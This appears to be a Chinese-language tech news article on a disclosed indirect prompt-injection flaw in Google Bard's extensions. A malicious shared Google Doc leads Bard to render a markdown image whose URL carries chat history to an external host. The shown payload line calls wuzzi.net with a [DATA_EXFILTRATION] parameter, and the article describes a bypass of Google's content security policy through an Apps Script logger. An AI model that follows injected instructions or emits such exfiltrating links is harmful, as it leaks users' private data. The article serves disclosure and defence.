top of page

Google Bard「破防」,透過自然語言解鎖,提示注入導致數據洩露風險

掌控 Bard 的秘密:透過一種稱為提示注入(Prompt Injection)的技術,駭客可以僅用自然語言來破解人工智慧系統。

大型語言模型在生成文本時極度依賴提示詞。這種攻擊技術對於透過提示詞學習的模型來說,可以說是「用敵人的武器,攻擊自己的防禦」,是其最強長項,同時也是難以防範的軟肋。


提示詞分為系統指令和使用者給出的指令,在自然語言中,這兩者難以區分。如果使用者有意在輸入提示詞時模仿系統指令,模型可能在對話中透露一些只有它自己才知道的「秘密」。


提示注入攻擊有多種形式,主要為直接提示注入和間接提示注入。直接提示注入是指使用者直接向模型輸入惡意指令,試圖引發意外或有害的行為。間接提示注入則是指攻擊者將惡意指令注入到可能被模型檢索或攝入的文件中,從而間接地控制或引導模型。


網友利用「系統指令」引導 GPT 洩露數據

最近,Google Bard 推出了一系列強大的更新,其中 Bard 新增了擴充功能,支持訪問 YouTube、搜尋航班和酒店,甚至能查閱使用者的個人文件和郵件。


此外,Bard 還能連接到「Google 全家桶」,訪問你的 Google 雲端硬碟、文件和郵件!但這同時意味著 Bard 將分析不受信任的數據,容易受到間接提示注入的影響。換言之,別有用心的人可能透過向你發送電子郵件或強行分享 Google 文件進行間接的提示注入攻擊,因為對方發給你什麼樣的郵件、文件,你無法控制,但 Bard 卻會無差別訪問。


在安全風險分析領域擁有 20 年經驗的前 Microsoft Azure 安全工程師 Johann Rehberger 體驗了 Bard 的最新版本,並測試了在提示注入攻擊下,Bard 的數據洩露風險。


Johann 首先快速驗證了提示注入的可行性。他透過讓 Bard 分析舊的 YouTube 影片,並使用 Google 文件進行測試,測試結果顯示,Bard 確實按照他的額外提示進行了操作,這證明了接下來要進行的測試的可行性。


Bard 的漏洞:圖像 Markdown 注入


在瞭解到 Bard 可以透過提示注入進行操控後,Johann 開始進行更深入的研究。


在大型語言模型(LLM)應用中,一個常見的漏洞是透過呈現超連結和圖像來洩露聊天歷史。問題來了,這對於 Google Bard 又意味著什麼?


當 Google 的大型模型返回文本時,它能夠返回 markdown 元素,而 Bard 則會將其轉化為 HTML 來展示!這包括了將圖片渲染的功能。


想像一下,如果 Google 的大型模型返回這樣的文本:

![Data Exfiltration in Progress](https://wuzzi.net/logo.png?goog=[DATA_EXFILTRATION])

這將以 HTML 圖片標籤的形式呈現,其 src 屬性指向攻擊者的伺服器。

<img src="https://wuzzi.net/logo.png?goog=[DATA_EXFILTRATION]">

瀏覽器會自動連接至 URL,而不需要用戶進行任何互動即可加載圖片。利用 LLM 的強大功能,我們可以對聊天上下文中的先前數據進行總結或存取,並將其適當地附加至 URL。


在撰寫漏洞利用程式時,Johann 很快開發出了一個能讀取對話歷史的提示注入有效載荷,並形成包含該歷史記錄的超連結。然而,Google 的內容安全政策(CSP)阻止了圖片的呈現,這為攻擊者帶來了挑戰。



繞過內容安全政策


要從攻擊者控制的伺服器渲染圖片,並非易事。Google 的內容安全政策阻止從任意來源加載圖片。CSP 包含了諸如 *.google.com 和 *.googleusercontent.com 等廣泛的來源。這意味著可能存在一種繞過方法。


經過研究,Johann 了解到 Google Apps Script 或許可以繞過 CSP。


Apps Script 類似於 Office Macros,可以透過 URL 呼叫,在 script.google.com(或 googleusercontent.com)域上運行。


於是,Bard Logger 就在 Apps Script 中實現了。這個 Logger 會將所有附加在呼叫 URL 的查詢參數寫入一個 Google Doc,而這正是外洩的目的地。


最初,Johann 認為這個方法不可行,但他在點擊幾下 Apps Script 用戶介面後,找到了一個不需要驗證的設定。


接著,一切準備就緒:

  • 確認了 Google Bard 易受透過擴充功能資料間接注入提示的影響

  • Google Bard 存在允許零點擊渲染圖片的漏洞

  • 一個寫有提示注入指令的惡意 Google 文件

  • 一個位於 google.com 上的日誌端點,用於在圖片加載時接收數據。



洩露數據的完整過程


Johann 分享了他讓 Bard 洩露數據的完整過程。


首先,他先和 Bard 進行日常對話:

用戶訪問了一個 Google 文件(The Bard2000),這導致攻擊者指令注入和圖片渲染。


攻擊者透過 Apps Script 中的腳本將數據接收到 Google 文件。

以下是 Johann 用於「提示注入」的 Google 文件:


Google 的修復


這個安全問題已於 2023 年 9 月 19 日報告給 Google VRP。

10 月 19 日,Johann 想在 Ekoparty 2023 中進行演示,因此詢問了有關這個漏洞的情況。Google 已確認修復完畢。目前還不太清楚 Google 採取了何種修復措施。但 CSP 未有修改,仍然可以渲染圖片。因此,這可能是已經採取了一些過濾措施,以防止將數據插入到 URL 中。



資料來源



Comments


bottom of page